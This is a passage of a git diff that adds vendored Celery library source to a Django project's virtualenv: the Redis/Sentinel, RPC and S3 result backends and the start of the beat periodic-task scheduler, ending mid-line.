intervals, retries): + tts = next(intervals) + logger.error( + E_LOST.strip(), + retries, max_retries or 'Inf', humanize_seconds(tts, 'in ')) + return tts + + def set(self, key, value, **retry_policy): + if isinstance(value, str) and len(value) > self._MAX_STR_VALUE_SIZE: + raise BackendStoreError('value too large for Redis backend') + + return self.ensure(self._set, (key, value), **retry_policy) + + def _set(self, key, value): + with self.client.pipeline() as pipe: + if self.expires: + pipe.setex(key, self.expires, value) + else: + pipe.set(key, value) + pipe.publish(key, value) + pipe.execute() + + def forget(self, task_id): + super().forget(task_id) + self.result_consumer.cancel_for(task_id) + + def delete(self, key): + self.client.delete(key) + + def incr(self, key): + return self.client.incr(key) + + def expire(self, key, value): + return self.client.expire(key, value) + + def add_to_chord(self, group_id, result): + self.client.incr(self.get_key_for_group(group_id, '.t'), 1) + + def _unpack_chord_result(self, tup, decode, + EXCEPTION_STATES=states.EXCEPTION_STATES, + PROPAGATE_STATES=states.PROPAGATE_STATES): + _, tid, state, retval = decode(tup) + if state in EXCEPTION_STATES: + retval = self.exception_to_python(retval) + if state in PROPAGATE_STATES: + raise ChordError(f'Dependency {tid} raised {retval!r}') + return retval + + def set_chord_size(self, group_id, chord_size): + self.set(self.get_key_for_group(group_id, '.s'), chord_size) + + def apply_chord(self, header_result_args, body, **kwargs): + # If any of the child results of this chord are complex (ie. group + # results themselves), we need to save `header_result` to ensure that + # the expected structure is retained when we finish the chord and pass + # the results onward to the body in `on_chord_part_return()`. We don't + # do this is all cases to retain an optimisation in the common case + # where a chord header is comprised of simple result objects. + if not isinstance(header_result_args[1], _regen): + header_result = self.app.GroupResult(*header_result_args) + if any(isinstance(nr, GroupResult) for nr in header_result.results): + header_result.save(backend=self) + + @cached_property + def _chord_zset(self): + return self._transport_options.get('result_chord_ordered', True) + + @cached_property + def _transport_options(self): + return self.app.conf.get('result_backend_transport_options', {}) + + def on_chord_part_return(self, request, state, result, + propagate=None, **kwargs): + app = self.app + tid, gid, group_index = request.id, request.group, request.group_index + if not gid or not tid: + return + if group_index is None: + group_index = '+inf' + + client = self.client + jkey = self.get_key_for_group(gid, '.j') + tkey = self.get_key_for_group(gid, '.t') + skey = self.get_key_for_group(gid, '.s') + result = self.encode_result(result, state) + encoded = self.encode([1, tid, state, result]) + with client.pipeline() as pipe: + pipeline = ( + pipe.zadd(jkey, {encoded: group_index}).zcount(jkey, "-inf", "+inf") + if self._chord_zset + else pipe.rpush(jkey, encoded).llen(jkey) + ).get(tkey).get(skey) + if self.expires: + pipeline = pipeline \ + .expire(jkey, self.expires) \ + .expire(tkey, self.expires) \ + .expire(skey, self.expires) + + _, readycount, totaldiff, chord_size_bytes = pipeline.execute()[:4] + + totaldiff = int(totaldiff or 0) + + if chord_size_bytes: + try: + callback = maybe_signature(request.chord, app=app) + total = int(chord_size_bytes) + totaldiff + if readycount == total: + header_result = GroupResult.restore(gid) + if header_result is not None: + # If we manage to restore a `GroupResult`, then it must + # have been complex and saved by `apply_chord()` earlier. + # + # Before we can join the `GroupResult`, it needs to be + # manually marked as ready to avoid blocking + header_result.on_ready() + # We'll `join()` it to get the results and ensure they are + # structured as intended rather than the flattened version + # we'd construct without any other information. + join_func = ( + header_result.join_native + if header_result.supports_native_join + else header_result.join + ) + with allow_join_result(): + resl = join_func( + timeout=app.conf.result_chord_join_timeout, + propagate=True + ) + else: + # Otherwise simply extract and decode the results we + # stashed along the way, which should be faster for large + # numbers of simple results in the chord header. + decode, unpack = self.decode, self._unpack_chord_result + with client.pipeline() as pipe: + if self._chord_zset: + pipeline = pipe.zrange(jkey, 0, -1) + else: + pipeline = pipe.lrange(jkey, 0, total) + resl, = pipeline.execute() + resl = [unpack(tup, decode) for tup in resl] + try: + callback.delay(resl) + except Exception as exc: # pylint: disable=broad-except + logger.exception( + 'Chord callback for %r raised: %r', request.group, exc) + return self.chord_error_from_stack( + callback, + ChordError(f'Callback error: {exc!r}'), + ) + finally: + with client.pipeline() as pipe: + pipe \ + .delete(jkey) \ + .delete(tkey) \ + .delete(skey) \ + .execute() + except ChordError as exc: + logger.exception('Chord %r raised: %r', request.group, exc) + return self.chord_error_from_stack(callback, exc) + except Exception as exc: # pylint: disable=broad-except + logger.exception('Chord %r raised: %r', request.group, exc) + return self.chord_error_from_stack( + callback, + ChordError(f'Join error: {exc!r}'), + ) + + def _create_client(self, **params): + return self._get_client()( + connection_pool=self._get_pool(**params), + ) + + def _get_client(self): + return self.redis.StrictRedis + + def _get_pool(self, **params): + return self.ConnectionPool(**params) + + @property + def ConnectionPool(self): + if self._ConnectionPool is None: + self._ConnectionPool = self.redis.ConnectionPool + return self._ConnectionPool + + @cached_property + def client(self): + return self._create_client(**self.connparams) + + def __reduce__(self, args=(), kwargs=None): + kwargs = {} if not kwargs else kwargs + return super().__reduce__( + (self.url,), {'expires': self.expires}, + ) + + +if getattr(redis, "sentinel", None): + class SentinelManagedSSLConnection( + redis.sentinel.SentinelManagedConnection, + redis.SSLConnection): + """Connect to a Redis server using Sentinel + TLS. + + Use Sentinel to identify which Redis server is the current master + to connect to and when connecting to the Master server, use an + SSL Connection. + """ + + +class SentinelBackend(RedisBackend): + """Redis sentinel task result store.""" + + # URL looks like `sentinel://0.0.0.0:26347/3;sentinel://0.0.0.0:26348/3` + _SERVER_URI_SEPARATOR = ";" + + sentinel = getattr(redis, "sentinel", None) + connection_class_ssl = SentinelManagedSSLConnection if sentinel else None + + def __init__(self, *args, **kwargs): + if self.sentinel is None: + raise ImproperlyConfigured(E_REDIS_SENTINEL_MISSING.strip()) + + super().__init__(*args, **kwargs) + + def as_uri(self, include_password=False): + """Return the server addresses as URIs, sanitizing the password or not.""" + # Allow superclass to do work if we don't need to force sanitization + if include_password: + return super().as_uri( + include_password=include_password, + ) + # Otherwise we need to ensure that all components get sanitized rather + # by passing them one by one to the `kombu` helper + uri_chunks = ( + maybe_sanitize_url(chunk) + for chunk in (self.url or "").split(self._SERVER_URI_SEPARATOR) + ) + # Similar to the superclass, strip the trailing slash from URIs with + # all components empty other than the scheme + return self._SERVER_URI_SEPARATOR.join( + uri[:-1] if uri.endswith(":///") else uri + for uri in uri_chunks + ) + + def _params_from_url(self, url, defaults): + chunks = url.split(self._SERVER_URI_SEPARATOR) + connparams = dict(defaults, hosts=[]) + for chunk in chunks: + data = super()._params_from_url( + url=chunk, defaults=defaults) + connparams['hosts'].append(data) + for param in ("host", "port", "db", "password"): + connparams.pop(param) + + # Adding db/password in connparams to connect to the correct instance + for param in ("db", "password"): + if connparams['hosts'] and param in connparams['hosts'][0]: + connparams[param] = connparams['hosts'][0].get(param) + return connparams + + def _get_sentinel_instance(self, **params): + connparams = params.copy() + + hosts = connparams.pop("hosts") + min_other_sentinels = self._transport_options.get("min_other_sentinels", 0) + sentinel_kwargs = self._transport_options.get("sentinel_kwargs", {}) + + sentinel_instance = self.sentinel.Sentinel( + [(cp['host'], cp['port']) for cp in hosts], + min_other_sentinels=min_other_sentinels, + sentinel_kwargs=sentinel_kwargs, + **connparams) + + return sentinel_instance + + def _get_pool(self, **params): + sentinel_instance = self._get_sentinel_instance(**params) + + master_name = self._transport_options.get("master_name", None) + + return sentinel_instance.master_for( + service_name=master_name, + redis_class=self._get_client(), + ).connection_pool diff --git a/django_lottopy/lib/python3.10/site-packages/celery/backends/rpc.py b/django_lottopy/lib/python3.10/site-packages/celery/backends/rpc.py new file mode 100644 index 00000000..399c1dc7 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/backends/rpc.py @@ -0,0 +1,342 @@ +"""The ``RPC`` result backend for AMQP brokers. + +RPC-style result backend, using reply-to and one queue per client. +""" +import time + +import kombu +from kombu.common import maybe_declare +from kombu.utils.compat import register_after_fork +from kombu.utils.objects import cached_property + +from celery import states +from celery._state import current_task, task_join_will_block + +from . import base +from .asynchronous import AsyncBackendMixin, BaseResultConsumer + +__all__ = ('BacklogLimitExceeded', 'RPCBackend') + +E_NO_CHORD_SUPPORT = """ +The "rpc" result backend does not support chords! + +Note that a group chained with a task is also upgraded to be a chord, +as this pattern requires synchronization. + +Result backends that supports chords: Redis, Database, Memcached, and more. +""" + + +class BacklogLimitExceeded(Exception): + """Too much state history to fast-forward.""" + + +def _on_after_fork_cleanup_backend(backend): + backend._after_fork() + + +class ResultConsumer(BaseResultConsumer): + Consumer = kombu.Consumer + + _connection = None + _consumer = None + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self._create_binding = self.backend._create_binding + + def start(self, initial_task_id, no_ack=True, **kwargs): + self._connection = self.app.connection() + initial_queue = self._create_binding(initial_task_id) + self._consumer = self.Consumer( + self._connection.default_channel, [initial_queue], + callbacks=[self.on_state_change], no_ack=no_ack, + accept=self.accept) + self._consumer.consume() + + def drain_events(self, timeout=None): + if self._connection: + return self._connection.drain_events(timeout=timeout) + elif timeout: + time.sleep(timeout) + + def stop(self): + try: + self._consumer.cancel() + finally: + self._connection.close() + + def on_after_fork(self): + self._consumer = None + if self._connection is not None: + self._connection.collect() + self._connection = None + + def consume_from(self, task_id): + if self._consumer is None: + return self.start(task_id) + queue = self._create_binding(task_id) + if not self._consumer.consuming_from(queue): + self._consumer.add_queue(queue) + self._consumer.consume() + + def cancel_for(self, task_id): + if self._consumer: + self._consumer.cancel_by_queue(self._create_binding(task_id).name) + + +class RPCBackend(base.Backend, AsyncBackendMixin): + """Base class for the RPC result backend.""" + + Exchange = kombu.Exchange + Producer = kombu.Producer + ResultConsumer = ResultConsumer + + #: Exception raised when there are too many messages for a task id. + BacklogLimitExceeded = BacklogLimitExceeded + + persistent = False + supports_autoexpire = True + supports_native_join = True + + retry_policy = { + 'max_retries': 20, + 'interval_start': 0, + 'interval_step': 1, + 'interval_max': 1, + } + + class Consumer(kombu.Consumer): + """Consumer that requires manual declaration of queues.""" + + auto_declare = False + + class Queue(kombu.Queue): + """Queue that never caches declaration.""" + + can_cache_declaration = False + + def __init__(self, app, connection=None, exchange=None, exchange_type=None, + persistent=None, serializer=None, auto_delete=True, **kwargs): + super().__init__(app, **kwargs) + conf = self.app.conf + self._connection = connection + self._out_of_band = {} + self.persistent = self.prepare_persistent(persistent) + self.delivery_mode = 2 if self.persistent else 1 + exchange = exchange or conf.result_exchange + exchange_type = exchange_type or conf.result_exchange_type + self.exchange = self._create_exchange( + exchange, exchange_type, self.delivery_mode, + ) + self.serializer = serializer or conf.result_serializer + self.auto_delete = auto_delete + self.result_consumer = self.ResultConsumer( + self, self.app, self.accept, + self._pending_results, self._pending_messages, + ) + if register_after_fork is not None: + register_after_fork(self, _on_after_fork_cleanup_backend) + + def _after_fork(self): + # clear state for child processes. + self._pending_results.clear() + self.result_consumer._after_fork() + + def _create_exchange(self, name, type='direct', delivery_mode=2): + # uses direct to queue routing (anon exchange). + return self.Exchange(None) + + def _create_binding(self, task_id): + """Create new binding for task with id.""" + # RPC backend caches the binding, as one queue is used for all tasks. + return self.binding + + def ensure_chords_allowed(self): + raise NotImplementedError(E_NO_CHORD_SUPPORT.strip()) + + def on_task_call(self, producer, task_id): + # Called every time a task is sent when using this backend. + # We declare the queue we receive replies on in advance of sending + # the message, but we skip this if running in the prefork pool + # (task_join_will_block), as we know the queue is already declared. + if not task_join_will_block(): + maybe_declare(self.binding(producer.channel), retry=True) + + def destination_for(self, task_id, request): + """Get the destination for result by task id. + + Returns: + Tuple[str, str]: tuple of ``(reply_to, correlation_id)``. + """ + # Backends didn't always receive the `request`, so we must still + # support old code that relies on current_task. + try: + request = request or current_task.request + except AttributeError: + raise RuntimeError( + f'RPC backend missing task request for {task_id!r}') + return request.reply_to, request.correlation_id or task_id + + def on_reply_declare(self, task_id): + # Return value here is used as the `declare=` argument + # for Producer.publish. + # By default we don't have to declare anything when sending a result. + pass + + def on_result_fulfilled(self, result): + # This usually cancels the queue after the result is received, + # but we don't have to cancel since we have one queue per process. + pass + + def as_uri(self, include_password=True): + return 'rpc://' + + def store_result(self, task_id, result, state, + traceback=None, request=None, **kwargs): + """Send task return value and state.""" + routing_key, correlation_id = self.destination_for(task_id, request) + if not routing_key: + return + with self.app.amqp.producer_pool.acquire(block=True) as producer: + producer.publish( + self._to_result(task_id, state, result, traceback, request), + exchange=self.exchange, + routing_key=routing_key, + correlation_id=correlation_id, + serializer=self.serializer, + retry=True, retry_policy=self.retry_policy, + declare=self.on_reply_declare(task_id), + delivery_mode=self.delivery_mode, + ) + return result + + def _to_result(self, task_id, state, result, traceback, request): + return { + 'task_id': task_id, + 'status': state, + 'result': self.encode_result(result, state), + 'traceback': traceback, + 'children': self.current_task_children(request), + } + + def on_out_of_band_result(self, task_id, message): + # Callback called when a reply for a task is received, + # but we have no idea what do do with it. + # Since the result is not pending, we put it in a separate + # buffer: probably it will become pending later. + if self.result_consumer: + self.result_consumer.on_out_of_band_result(message) + self._out_of_band[task_id] = message + + def get_task_meta(self, task_id, backlog_limit=1000): + buffered = self._out_of_band.pop(task_id, None) + if buffered: + return self._set_cache_by_message(task_id, buffered) + + # Polling and using basic_get + latest_by_id = {} + prev = None + for acc in self._slurp_from_queue(task_id, self.accept, backlog_limit): + tid = self._get_message_task_id(acc) + prev, latest_by_id[tid] = latest_by_id.get(tid), acc + if prev: + # backends aren't expected to keep history, + # so we delete everything except the most recent state. + prev.ack() + prev = None + + latest = latest_by_id.pop(task_id, None) + for tid, msg in latest_by_id.items(): + self.on_out_of_band_result(tid, msg) + + if latest: + latest.requeue() + return self._set_cache_by_message(task_id, latest) + else: + # no new state, use previous + try: + return self._cache[task_id] + except KeyError: + # result probably pending. + return {'status': states.PENDING, 'result': None} + poll = get_task_meta # XXX compat + + def _set_cache_by_message(self, task_id, message): + payload = self._cache[task_id] = self.meta_from_decoded( + message.payload) + return payload + + def _slurp_from_queue(self, task_id, accept, + limit=1000, no_ack=False): + with self.app.pool.acquire_channel(block=True) as (_, channel): + binding = self._create_binding(task_id)(channel) + binding.declare() + + for _ in range(limit): + msg = binding.get(accept=accept, no_ack=no_ack) + if not msg: + break + yield msg + else: + raise self.BacklogLimitExceeded(task_id) + + def _get_message_task_id(self, message): + try: + # try property first so we don't have to deserialize + # the payload. + return message.properties['correlation_id'] + except (AttributeError, KeyError): + # message sent by old Celery version, need to deserialize. + return message.payload['task_id'] + + def revive(self, channel): + pass + + def reload_task_result(self, task_id): + raise NotImplementedError( + 'reload_task_result is not supported by this backend.') + + def reload_group_result(self, task_id): + """Reload group result, even if it has been previously fetched.""" + raise NotImplementedError( + 'reload_group_result is not supported by this backend.') + + def save_group(self, group_id, result): + raise NotImplementedError( + 'save_group is not supported by this backend.') + + def restore_group(self, group_id, cache=True): + raise NotImplementedError( + 'restore_group is not supported by this backend.') + + def delete_group(self, group_id): + raise NotImplementedError( + 'delete_group is not supported by this backend.') + + def __reduce__(self, args=(), kwargs=None): + kwargs = {} if not kwargs else kwargs + return super().__reduce__(args, dict( + kwargs, + connection=self._connection, + exchange=self.exchange.name, + exchange_type=self.exchange.type, + persistent=self.persistent, + serializer=self.serializer, + auto_delete=self.auto_delete, + expires=self.expires, + )) + + @property + def binding(self): + return self.Queue( + self.oid, self.exchange, self.oid, + durable=False, + auto_delete=True, + expires=self.expires, + ) + + @cached_property + def oid(self): + # cached here is the app thread OID: name of queue we receive results on. + return self.app.thread_oid diff --git a/django_lottopy/lib/python3.10/site-packages/celery/backends/s3.py b/django_lottopy/lib/python3.10/site-packages/celery/backends/s3.py new file mode 100644 index 00000000..ea04ae37 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/backends/s3.py @@ -0,0 +1,87 @@ +"""s3 result store backend.""" + +from kombu.utils.encoding import bytes_to_str + +from celery.exceptions import ImproperlyConfigured + +from .base import KeyValueStoreBackend + +try: + import boto3 + import botocore +except ImportError: + boto3 = None + botocore = None + + +__all__ = ('S3Backend',) + + +class S3Backend(KeyValueStoreBackend): + """An S3 task result store. + + Raises: + celery.exceptions.ImproperlyConfigured: + if module :pypi:`boto3` is not available, + if the :setting:`aws_access_key_id` or + setting:`aws_secret_access_key` are not set, + or it the :setting:`bucket` is not set. + """ + + def __init__(self, **kwargs): + super().__init__(**kwargs) + + if not boto3 or not botocore: + raise ImproperlyConfigured('You must install boto3' + 'to use s3 backend') + conf = self.app.conf + + self.endpoint_url = conf.get('s3_endpoint_url', None) + self.aws_region = conf.get('s3_region', None) + + self.aws_access_key_id = conf.get('s3_access_key_id', None) + self.aws_secret_access_key = conf.get('s3_secret_access_key', None) + + self.bucket_name = conf.get('s3_bucket', None) + if not self.bucket_name: + raise ImproperlyConfigured('Missing bucket name') + + self.base_path = conf.get('s3_base_path', None) + + self._s3_resource = self._connect_to_s3() + + def _get_s3_object(self, key): + key_bucket_path = self.base_path + key if self.base_path else key + return self._s3_resource.Object(self.bucket_name, key_bucket_path) + + def get(self, key): + key = bytes_to_str(key) + s3_object = self._get_s3_object(key) + try: + s3_object.load() + data = s3_object.get()['Body'].read() + return data if self.content_encoding == 'binary' else data.decode('utf-8') + except botocore.exceptions.ClientError as error: + if error.response['Error']['Code'] == "404": + return None + raise error + + def set(self, key, value): + key = bytes_to_str(key) + s3_object = self._get_s3_object(key) + s3_object.put(Body=value) + + def delete(self, key): + key = bytes_to_str(key) + s3_object = self._get_s3_object(key) + s3_object.delete() + + def _connect_to_s3(self): + session = boto3.Session( + aws_access_key_id=self.aws_access_key_id, + aws_secret_access_key=self.aws_secret_access_key, + region_name=self.aws_region + ) + if session.get_credentials() is None: + raise ImproperlyConfigured('Missing aws s3 creds') + return session.resource('s3', endpoint_url=self.endpoint_url) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/beat.py b/django_lottopy/lib/python3.10/site-packages/celery/beat.py new file mode 100644 index 00000000..74537e34 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/beat.py @@ -0,0 +1,738 @@ +"""The periodic task scheduler.""" + +import copy +import errno +import heapq +import os +import shelve +import sys +import time +import traceback +from calendar import timegm +from collections import namedtuple +from functools import total_ordering +from threading import Event, Thread + +from billiard import ensure_multiprocessing +from billiard.common import reset_signals +from billiard.context import Process +from kombu.utils.functional import maybe_evaluate, reprcall +from kombu.utils.objects import cached_property + +from . import __version__, platforms, signals +from .exceptions import reraise +from .schedules import crontab, maybe_schedule +from .utils.imports import load_extension_class_names, symbol_by_name +from .utils.log import get_logger, iter_open_logger_fds +from .utils.time import humanize_seconds, maybe_make_aware + +__all__ = ( + 'SchedulingError', 'ScheduleEntry', 'Scheduler', + 'PersistentScheduler', 'Service', 'EmbeddedService', +) + +event_t = namedtuple('event_t', ('time', 'priority', 'entry')) + +logger = get_logger(__name__) +debug, info, error, warning = (logger.debug, logger.info, + logger.error, logger.warning) + +DEFAULT_MAX_INTERVAL = 300 # 5 minutes + + +class SchedulingError(Exception): + """An error occurred while scheduling a task.""" + + +class BeatLazyFunc: + """An lazy function declared in 'beat_schedule' and called before sending to worker. + + Example: + + beat_schedule = { + 'test-every-5-minutes': { + 'task': 'test', + 'schedule': 300, + 'kwargs': { + "current": BeatCallBack(datetime.datetime.now) + } + } + } + + """ + + def __init__(self, func, *args, **kwargs): + self._func = func + self._func_params = { + "args": args, + "kwargs": kwargs + } + + def __call__(self): + return self.delay() + + def delay(self): + return self._func(*self._func_params["args"], **self._func_params["kwargs"]) + + +@total_ordering +class ScheduleEntry: + """An entry in the scheduler. + + Arguments: + name (str): see :attr:`name`. + schedule (~celery.schedules.schedule): see :attr:`schedule`. + args (Tuple): see :attr:`args`. + kwargs (Dict): see :attr:`kwargs`. + options (Dict): see :attr:`options`. + last_run_at (~datetime.datetime): see :attr:`last_run_at`. + total_run_count (int): see :attr:`total_run_count`. + relative (bool): Is the time relative to when the server starts? + """ + + #: The task name + name = None + + #: The schedule (:class:`~celery.schedules.schedule`) + schedule = None + + #: Positional arguments to apply. + args = None + + #: Keyword arguments to apply. + kwargs = None + + #: Task execution options. + options = None + + #: The time and date of when this task was last scheduled. + last_run_at = None + + #: Total number of times this task has been scheduled. + total_run_count = 0 + + def __init__(self, name=None, task=None, last_run_at=None, + total_run_count=None, schedule=None, args=(), kwargs=None, + options=None, relative=False, app=None): + self.app = app + self.name = name + self.task = task + self.args = args + self.kwargs = kwargs if kwargs else {} + self.options = options if options else {} + self.schedule = maybe_schedule(schedule, relative, app=self.app) + self.last_run_at = last_run_at or self.default_now() + self.total_run_count = total_run_count or 0 + + def default_now(self): + return self.schedule.now() if self.schedule else self.app.now() + _default_now = default_now # compat + + def _next_instance(self, last_run_at=None): + """Return new instance, with date and count fields updated.""" + return self.__class__(**dict( + self, + last_run_at=last_run_at or self.default_now(), + total_run_count=self.total_run_count + 1, + )) + __next__ = next = _next_instance # for 2to3 + + def __reduce__(self): + return self.__class__, ( + self.name, self.task, self.last_run_at, self.total_run_count, + self.schedule, self.args, self.kwargs, self.options, + ) + + def update(self, other): + """Update values from another entry. + + Will only update "editable" fields: + ``task``, ``schedule``, ``args``, ``kwargs``, ``options``. + """ + self.__dict__.update({ + 'task': other.task, 'schedule': other.schedule, + 'args': other.args, 'kwargs': other.kwargs, + 'options': other.options, + }) + + def is_due(self): + """See :meth:`~celery.schedule.schedule.is_due`.""" + return self.schedule.is_due(self.last_run_at) + + def __iter__(self): + return iter(vars(self).items()) + + def __repr__(self): + return '<{name}: {0.name} {call} {0.schedule}'.format( + self, + call=reprcall(self.task, self.args or (), self.kwargs or {}), + name=type(self).__name__, + ) + + def __lt__(self, other): + if isinstance(other, ScheduleEntry): + # How the object is ordered doesn't really matter, as + # in the scheduler heap, the order is decided by the + # preceding members of the tuple ``(time, priority, entry)``. + # + # If all that's left to order on is the entry then it can + # just as well be random. + return id(self) < id(other) + return NotImplemented + + def editable_fields_equal(self, other): + for attr in ('task', 'args', 'kwargs', 'options', 'schedule'): + if getattr(self, attr) != getattr(other, attr): + return False + return True + + def __eq__(self, other): + """Test schedule entries equality. + + Will only compare "editable" fields: + ``task``, ``schedule``, ``args``, ``kwargs``, ``options``. + """ + return self.editable_fields_equal(other) + + def __ne__(self, other): + """Test schedule entries inequality. + + Will only compare "editable" fields: + ``task``, ``schedule``, ``args``, ``kwargs``, ``options``. + """ + return not self == other + + +def _evaluate_entry_args(entry_args): + if not entry_args: + return [] + return [ + v() if isinstance(v, BeatLazyFunc) else v + for v in entry_args + ] + + +def _evaluate_entry_kwargs(entry_kwargs): + if not entry_kwargs: + return {} + return { + k: v() if isinstance(v, BeatLazyFunc) else v + for k, v in entry_kwargs.items() + } + + +class Scheduler: + """Scheduler for periodic tasks. + + The :program:`celery beat` program may instantiate this class + multiple times for introspection purposes, but then with the + ``lazy`` argument set. It's important for subclasses to + be idempotent when this argument is set. + + Arguments: + schedule (~celery.schedules.schedule): see :attr:`schedule`. + max_interval (int): see :attr:`max_interval`. + lazy (bool): Don't set up the schedule. + """ + + Entry = ScheduleEntry + + #: The schedule dict/shelve. + schedule = None + + #: Maximum time to sleep between re-checking the schedule. + max_interval = DEFAULT_MAX_INTERVAL + + #: How often to sync the schedule (3 minutes by default) + sync_every = 3 * 60 + + #: How many tasks can be called before a sync is forced. + sync_every_tasks = None + + _last_sync = None + _tasks_since_sync = 0 + + logger = logger # compat + + def __init__(self, app, schedule=None, max_interval=None, + Producer=None, lazy=False, sync_every_tasks=None, **kwargs): + self.app = app + self.data = maybe_evaluate({} if schedule is None else schedule) + self.max_interval = (max_interval or + app.conf.beat_max_loop_interval or + self.max_interval) + self.Producer = Producer or app.amqp.Producer + self._heap = None + self.old_schedulers = None + self.sync_every_tasks = ( + app.conf.beat_sync_every if sync_every_tasks is None + else sync_every_tasks) + if not lazy: + self.setup_schedule() + + def install_default_entries(self, data): + entries = {} + if self.app.conf.result_expires and \ + not self.app.backend.supports_autoexpire: + if 'celery.backend_cleanup' not in data: + entries['celery.backend_cleanup'] = { + 'task': 'celery.backend_cleanup', + 'schedule': crontab('0', '4', '*'), + 'options': {'expires': 12 * 3600}} + self.update_from_dict(entries) + + def apply_entry(self, entry, producer=None): + info('Scheduler: Sending due task %s (%s)', entry.name, entry.task) + try: + result = self.apply_async(entry, producer=producer, advance=False) + except Exception as exc: # pylint: disable=broad-except + error('Message Error: %s\n%s', + exc, traceback.format_stack(), exc_info=True) + else: + debug('%s sent. id->%s', entry.task, result.id) + + def adjust(self, n, drift=-0.010): + if n and n > 0: + return n + drift + return n + + def is_due(self, entry): + return entry.is_due() + + def _when(self, entry, next_time_to_run, mktime=timegm): + """Return a utc timestamp, make sure heapq in currect order.""" + adjust = self.adjust + + as_now = maybe_make_aware(entry.default_now()) + + return (mktime(as_now.utctimetuple()) + + as_now.microsecond / 1e6 + + (adjust(next_time_to_run) or 0)) + + def populate_heap(self, event_t=event_t, heapify=heapq.heapify): + """Populate the heap with the data contained in the schedule.""" + priority = 5 + self._heap = [] + for entry in self.schedule.values(): + is_due, next_call_delay = entry.is_due() + self._heap.append(event_t( + self._when( + entry, + 0 if is_due else next_call_delay + ) or 0, + priority, entry + )) + heapify(self._heap) + + # pylint disable=redefined-outer-name + def tick(self, event_t=event_t, min=min, heappop=heapq.heappop, + heappush=heapq.heappush): + """Run a tick - one iteration of the scheduler. + + Executes one due task per call. + + Returns: + float: preferred delay in seconds for next call. + """ + adjust = self.adjust + max_interval = self.max_interval + + if (self._heap is None or + not self.schedules_equal(self.old_schedulers, self.schedule)): + self.old_schedulers = copy.copy(self.schedule) + self.populate_heap() + + H = self._heap + + if not H: + return max_interval + + event = H[0] + entry = event[2] + is_due, next_time_to_run = self.is_due(entry) + if is_due: + verify = heappop(H) + if verify is event: + next_entry = self.reserve(entry) + self.apply_entry(entry, producer=self.producer) + heappush(H, event_t(self._when(next_entry, next_time_to_run), + event[1], next_entry)) + return 0 + else: + heappush(H, verify) + return min(verify[0], max_interval) + return min(adjust(next_time_to_run) or max_interval, max_interval) + + def schedules_equal(self, old_schedules, new_schedules): + if old_schedules is new_schedules is None: + return True + if old_schedules is None or new_schedules is None: + return False + if set(old_schedules.keys()) != set(new_schedules.keys()): + return False + for name, old_entry in old_schedules.items(): + new_entry = new_schedules.get(name) + if not new_entry: + return False + if new_entry != old_entry: + return False + return True + + def should_sync(self): + return ( + (not self._last_sync or + (time.monotonic() - self._last_sync) > self.sync_every) or + (self.sync_every_tasks and + self._tasks_since_sync >= self.sync_every_tasks) + ) + + def reserve(self, entry): + new_entry = self.schedule[entry.name] = next(entry) + return new_entry + + def apply_async(self, entry, producer=None, advance=True, **kwargs): + # Update time-stamps and run counts before we actually execute, + # so we have that done if an exception is raised (doesn't schedule + # forever.) + entry = self.reserve(entry) if advance else entry + task = self.app.tasks.get(entry.task) + + try: + entry_args = _evaluate_entry_args(entry.args) + entry_kwargs = _evaluate_entry_kwargs(entry.kwargs) + if task: + return task.apply_async(entry_args, entry_kwargs, + producer=producer, + **entry.options) + else: + return self.send_task(entry.task, entry_args, entry_kwargs, + producer=producer, + **entry.options) + except Exception as exc: # pylint: disable=broad-except + reraise(SchedulingError, SchedulingError( + "Couldn't apply scheduled task {0.name}: {exc}".format( + entry, exc=exc)), sys.exc_info()[2]) + finally: + self._tasks_since_sync += 1 + if self.should_sync(): + self._do_sync() + + def send_task(self, *args, **kwargs): + return self.app.send_task(*args, **kwargs) + + def setup_schedule(self): + self.install_default_entries(self.data) + self.merge_inplace(self.app.conf.beat_schedule) + + def _do_sync(self): + try: + debug('beat: Synchronizing schedule...') + self.sync() + finally: + self._last_sync = time.monotonic() + self._tasks_since_sync = 0 + + def sync(self): + pass + + def close(self): + self.sync() + + def add(self, **kwargs): + entry = self.Entry(app=self.app, **kwargs) + self.schedule[entry.name] = entry + return entry + + def _maybe_entry(self, name, entry): + if isinstance(entry, self.Entry): + entry.app = self.app + return entry + return self.Entry(**dict(entry, name=name, app=self.app)) + + def update_from_dict(self, dict_): + self.schedule.update({ + name: self._maybe_entry(name, entry) + for name, entry in dict_.items() + }) + + def merge_inplace(self, b): + schedule = self.schedule + A, B = set(schedule), set(b) + + # Remove items from disk not in the schedule anymore. + for key in A ^ B: + schedule.pop(key, None) + + # Update and add new items in the schedule + for key in B: + entry = self.Entry(**dict(b[key], name=key, app=self.app)) + if schedule.get(key): + schedule[key].update(entry) + else: + schedule[key] = entry + + def _ensure_connected(self): + # callback called for each retry while the connection + # can't be established. + def _error_handler(exc, interval): + error('beat: Connection error: %s. ' + 'Trying again in %s seconds...', exc, interval) + + return self.connection.ensure_connection( + _error_handler, self.app.conf.broker_connection_max_retries + ) + + def get_schedule(self): + return self.data + + def set_schedule(self, schedule): + self.data = schedule + schedule = property(get_schedule, set_schedule) + + @cached_property + def connection(self): + return self.app.connection_for_write() + + @cached_property + def producer(self): + return self.Producer(self._ensure_connected(), auto_declare=False) + + @property + def info(self): + return '' + + +class PersistentScheduler(Scheduler): + """Scheduler backed by :mod:`shelve` database.""" + + persistence = shelve + known_suffixes = ('', '.db', '.dat', '.bak', '.dir') + + _store = None + + def __init__(self, *args, **kwargs): + self.schedule_filename = kwargs.get('schedule_filename') + super().__init__(*args, **kwargs) + + def _remove_db(self): + for suffix in self.known_suffixes: + with platforms.ignore_errno(errno.ENOENT): + os.remove(self.schedule_filename + suffix) + + def _open_schedule(self): + return self.persistence.open(self.schedule_filename, writeback=True) + + def _destroy_open_corrupted_schedule(self, exc): + error('Removing corrupted schedule file %r: %r', + self.schedule_filename, exc, exc_info=True) + self._remove_db() + return self._open_schedule() + + def setup_schedule(self): + try: + self._store = self._open_schedule() + # In some cases there may be different errors from a storage + # backend for corrupted files. Example - DBPageNotFoundError + # exception from bsddb. In such case the file will be + # successfully opened but the error will be raised on first key + # retrieving. + self._store.keys() + except Exception as exc: # pylint: disable=broad-except + self._store = self._destroy_open_corrupted_schedule(exc) + + self._create_schedule() + + tz = self.app.conf.timezone + stored_tz = self._store.get('tz') + if 